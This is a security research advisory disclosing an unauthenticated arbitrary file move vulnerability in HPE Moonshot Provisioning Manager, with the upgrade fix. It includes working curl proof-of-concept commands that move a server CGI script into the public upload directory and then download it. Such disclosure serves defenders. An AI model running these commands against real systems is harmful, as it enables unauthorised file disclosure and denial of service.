[R2] HPE Moonshot Provisioning Manager Arbitrary File Move

High
← View More Research Advisories

Synopsis

Tenable found a new vulnerability in HPE Moonshot Provisioning Manager (MPM) while developing a Nessus plugin to detect HPESBHF03803. An unauthenticated remote attacker can use the web interface to move arbitrary files to the HPE MPM upload directory: /opt/hp/moonshot/upload. The unauthenticated attacker can then retrieve the moved file from https://[target]/upload.

The server uses normal mv semantics when moving the file. As such, this vulnerability can also be a denial of service attack. However, the MPM web server runs as the user moonshot:moonshot so the scope of damage is largely limited to the web server files.

The following curl command moves the file server_response.py to the upload directory as my_file:

[user@host]$ curl -kd "isofile.savepath=/opt/hp/moonshot/tinkerbell/cgi-bin/server_response.py&isofile.filename=myfile"  https://[target]/cgi-bin/khuploadfile.cgi
<html>
<body>
<p>
File Upload Success
<p>
</body>
</html>
</pre>

The attacker can then grab the file with this curl command:

[user@host]$ curl -k https://[target]/upload/myfile
#!/usr/bin/python
import cgi
import os.path
import cgitb

cgitb.enable()
debug = False
if os.path.exists("/tmp/khupload"):
    debug = True
    fout = open("/tmp/server_response.log", "w")

... Truncated ...

Solution

Upgrade to HPE Moonshot version 1.24 or later.
